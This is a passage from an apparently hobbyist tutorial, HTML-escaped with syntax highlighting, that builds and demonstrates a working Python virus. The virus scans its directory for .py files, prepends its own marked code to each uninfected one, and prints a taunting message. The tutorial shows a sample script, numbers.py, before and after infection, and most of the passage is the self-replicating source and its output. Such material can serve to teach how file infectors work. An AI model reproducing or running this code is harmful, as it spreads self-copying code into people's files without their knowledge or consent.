&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_if_infectable(file)):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;write(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;join(virus_code))&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;writelines(data)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;

     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(__file__)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-virus&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;True&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line)&lt;/span&gt;

          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# end-virus&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;break&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;summon_chaos&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# the virus payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;We are sick, fked up and complicated&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;We are chaos, we can&#39;t be cured&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

     &lt;span style=&quot;color: #75715e;&quot;&gt;# entry point &lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# retrieve the virus code from the current infected script&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_virus_code()&lt;/span&gt; 

     &lt;span style=&quot;color: #75715e;&quot;&gt;# look for other files to infect&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;find_files_to_infect():&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infect(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code)&lt;/span&gt;

     &lt;span style=&quot;color: #75715e;&quot;&gt;# call the payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;summon_chaos()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;pass&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# delete used names from memory&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;list(globals()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keys()):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(i[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;_&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;exec(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;del {}&#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;format(i))&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;del&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# end-virus&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s try it putting this virus in a directory with just another &lt;code&gt;.py&lt;/code&gt; file and let see if the infection starts. Our victim will be a simple program named &lt;code&gt;[numbers.py](http://numbers.py)&lt;/code&gt; that returns some random numbers, like this:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;# numbers.py&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seed()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;_&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;randint(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!&lt;/p&gt;&lt;p&gt;Now, in the same directory, I have my virus. Let’s execute it:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;playgrounds&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;first&lt;/span&gt; &lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;❯&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;./&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;first&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;py&lt;/span&gt;                                                                          &lt;span style=&quot;color: #ae81ff;&quot;&gt;02&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;42&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PM&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;sick,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fked&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;complicated&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;chaos,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;we&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;can&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;t be cured&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our &lt;code&gt;[numbers.py](http://numbers.py)&lt;/code&gt; file? It should be the victim of the infection, so let’s see its code now.&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;# begin-virus&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;find_files_to_infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(directory&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[file&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;*.py&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)]&lt;/span&gt;
 
&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_of_file&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;readlines()&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_if_infectable&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(file)&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-virus&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_if_infectable(file)):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;write(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;join(virus_code))&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;writelines(data)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(__file__)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-virus&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;True&lt;/span&gt;

          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line)&lt;/span&gt;

          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# end-virus&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;break&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;summon_chaos&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# the virus payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;We are sick, fked up and complicated&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;We are chaos, we can&#39;t be cured&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# entry point &lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# retrieve the virus code from the current infected script&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_virus_code()&lt;/span&gt; 

     &lt;span style=&quot;color: #75715e;&quot;&gt;# look for other files to infect&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;find_files_to_infect():&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infect(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code)&lt;/span&gt;

     &lt;span style=&quot;color: #75715e;&quot;&gt;# call the payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;summon_chaos()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;pass&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# delete used names from memory&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;list(globals()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keys()):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(i[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;_&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;exec(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;del {}&#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;format(i))&lt;/span&gt;

